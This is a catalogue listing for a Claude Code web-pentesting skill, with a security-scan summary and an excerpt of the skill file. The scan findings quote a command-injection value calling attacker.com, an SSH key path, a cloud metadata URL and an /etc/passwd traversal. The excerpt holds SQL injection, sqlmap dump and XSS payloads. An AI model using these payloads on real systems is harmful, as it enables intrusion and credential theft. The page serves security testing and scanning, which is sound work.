testing-web-applications

testing-web-applications is a skill for Claude Code from trilwu/secskills. It costs 56 tokens per session (2,817 once invoked), scanned C, original, MIT.

A web application security testing guide for sites and server-backed browser applications.

In plain words
What is it for?
Use it to test XSS, SQL injection, command injection, SSRF, JWT and session security, file uploads, XXE, and other web application risks.
Why use it?
It helps find common weaknesses in login flows, permissions, input handling, file uploads, sessions, and server-side requests.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is ../../../etc/passwd.

Part of the secskills-offense plugin — 40 skills shipped together

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/trilwu/secskills
agentmods
npx agentmods add skills/trilwu/secskills/testing-web-applications

Made for: Claude Code.

Or install secskills-offense, the plugin that ships this one along with the rest of its 40 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for testing-web-applications

README.md
[![agentmods](https://agentmods.dev/badge/skills/trilwu/secskills/testing-web-applications.svg)](https://agentmods.dev/skills/trilwu/secskills/testing-web-applications)
Your own site
<a href="https://agentmods.dev/skills/trilwu/secskills/testing-web-applications"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/testing-web-applications.svg" alt="Measured on agentmods" height="20"></a>
Per session 56 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,817 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00056 $0.02817
Opus 5 $0.00028 $0.01409
Sonnet 5 $0.00011 $0.00563
Haiku 4.5 $0.00006 $0.00282

Measured 2d ago against content hash 30a18ef20efb, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade C, and why

testing-web-applications scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

~/.ssh/id_rsa

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

http://169.254.169.254/ # AWS metadata

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

& curl http://attacker.com &
secskills-offense/skills/testing-web-applications/SKILL.md · 412 lines

How it starts

The opening of the file, as written. The whole thing — 412 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Testing Web Applications

When to Use

  • Pentesting web applications
  • Testing authentication/authorization
  • Exploiting injection vulnerabilities
  • Analyzing JWT/session security
  • Testing file upload functionality
  • API security assessment

When NOT to Use

  • Source code is available — use auditing-code-for-vulnerabilities first; it finds more, faster
  • Pure API/GraphQL surface — use testing-apis
  • Reviewing a pull request — use reviewing-code-changes
  • LLM-backed features — use securing-ai-systems
  • Server fetches a user-supplied URL — use exploiting-ssrf
  • Serialized objects in cookies or parameters (rO0AB, O:, gAJ) — use exploiting-deserialization
  • GraphQL or gRPC endpoints — use attacking-graphql or attacking-grpc-protobuf
  • A JWT (eyJ...) in a header, cookie, or body — use attacking-jwt
  • An OAuth/OIDC or "Sign in with X" flow (/authorize, redirect_uri, code=) — use attacking-oauth-oidc
  • SAML SSO (SAMLResponse, <saml:Assertion>, /saml/acs) — use attacking-saml
  • An endpoint that parses XML, SVG, or Office files — use exploiting-xxe

SQL Injection

Quick Detection:

# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--

Union-Based SQLi:

# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--

Time-Based Blind:

-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
' AND pg_sleep(5)--

-- MSSQL
' WAITFOR DELAY '0:0:5'--

Automated Testing:

# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name

Cross-Site Scripting (XSS)

Quick Payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

Read the full file on GitHub · 412 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 412 lines · 56 tokens per session scan C 30a18ef20efb

Subscribe to this mod's changes

testing-web-applications is a skill published in the GitHub repository trilwu/secskills (135 stars, last pushed 2d ago), licensed MIT. It adds 56 tokens to every session and 2,817 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 3 findings (reaches for credential files, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

frontend-design

Guidance for distinctive, intentional visual design when building new UI or reshaping an existing one. Helps with aesthetic direction, typography, and making choices that don't read as templated defaults.

anthropics/claude-plugins-official · 40 tokens

ima-dai-sdk

Integrates the Google Interactive Media Ads (IMA) Dynamic Ad Insertion (DAI) SDK into websites, web apps, mobile apps, or TV apps. Use when: - A video player needs to load and play HLS or DASH streams in web apps, Android apps, iOS apps, tvOS apps, Cast (CAF) receivers, or Roku channels. - The app needs to make use of…

google/skills · 125 tokens

baseline-ui

Quickly deslop UI code by fixing spacing, hierarchy, typography, and small layout issues. Use when the interface needs a fast cleanup or polish pass.

ibelick/ui-skills · 34 tokens

migrate-xml-views-to-jetpack-compose

Provides a structured workflow for migrating an Android XML View to Jetpack Compose. This skill details the step-by-step process, from planning and dependency setup, to theming and layout migration, validation and XML cleanup. Use this skill when you need to migrate an XML View to Jetpack Compose in an Android…

android/skills · 98 tokens

gpt-image-2

面向 GPT Image 2 的图像生成 / 编辑技能。可在 3 种环境下使用:(A) Garden 本地模式,通过 OpenAI 兼容接口直接出图并落盘;(B) Host-Native 模式,把本 Skill 当作提示词工程指引,把渲染好的 prompt 交给宿主 Agent 自带的图像工具出图;(C) Advisor 模式,宿主无任何图像工具时退化为高质量 prompt 顾问。涵盖 18 大类、80+ 个结构化模板,覆盖海报 / UI / 产品 / 信息图 / 学术图 / 技术架构图 / 漫画 / 头像 / 流程板 / 电影分镜 / IP 周边 / 编辑工作流等场景。.

ConardLi/garden-skills · 177 tokens

accessibility

Audit and improve web accessibility following WCAG 2.2 guidelines. Use when asked to "improve accessibility", "a11y audit", "WCAG compliance", "screen reader support", "keyboard navigation", or "make accessible".

addyosmani/web-quality-skills · 51 tokens